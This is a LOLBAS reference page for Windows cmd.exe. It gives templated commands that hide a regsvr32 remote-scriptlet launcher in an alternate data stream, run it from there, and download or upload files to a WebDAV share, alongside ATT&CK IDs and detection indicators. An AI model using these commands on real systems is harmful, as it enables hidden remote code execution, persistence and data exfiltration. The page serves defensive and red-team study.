LOLBAS. GitHub
LIVING OFF THE LAND / OS BINARIES

Cmd.exe

View source

The command-line interpreter in Windows

ADSDownloadUpload
04COMMAND EXAMPLES
04ATT&CK TECHNIQUES
03DETECTION RESOURCES
03CAPABILITIES
01 / TRADECRAFT

Command reference

4 examples

ADS2

EXAMPLE 01T1564.004

Add content to an Alternate Data Stream (ADS).

COMMAND
cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:{REMOTEURL:.sct} ^scrobj.dll > {PATH}:payload.bat
USE CASE
Can be used to evade defensive countermeasures or to hide as a persistence mechanism
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
EXAMPLE 02T1059.003

Execute payload.bat stored in an Alternate Data Stream (ADS).

COMMAND
cmd.exe - < {PATH}:payload.bat
USE CASE
Can be used to evade defensive countermeasures or to hide as a persistence mechanism
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

Download1

EXAMPLE 01T1105

Downloads a specified file from a WebDAV server to the target file.

COMMAND
type {PATH_SMB} > {PATH_ABSOLUTE}
USE CASE
Download/copy a file from a WebDAV server
PRIVILEGES
User
OPERATING SYSTEM
Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

Upload1

EXAMPLE 01T1048.003

Uploads a specified file to a WebDAV server.

COMMAND
type {PATH_ABSOLUTE} > {PATH_SMB}
USE CASE
Upload a file to a WebDAV server
PRIVILEGES
User
OPERATING SYSTEM
Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
02 / ON DISK

Known paths

C:\Windows\System32\cmd.exe
C:\Windows\SysWOW64\cmd.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

3 resources

Indicators & detection notes

  • IOC

    cmd.exe executing files from alternate data streams.

  • IOC

    cmd.exe creating/modifying file contents in an alternate data stream.

FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

r0lan@yeyint_mth
Mr.0range@mr_0rng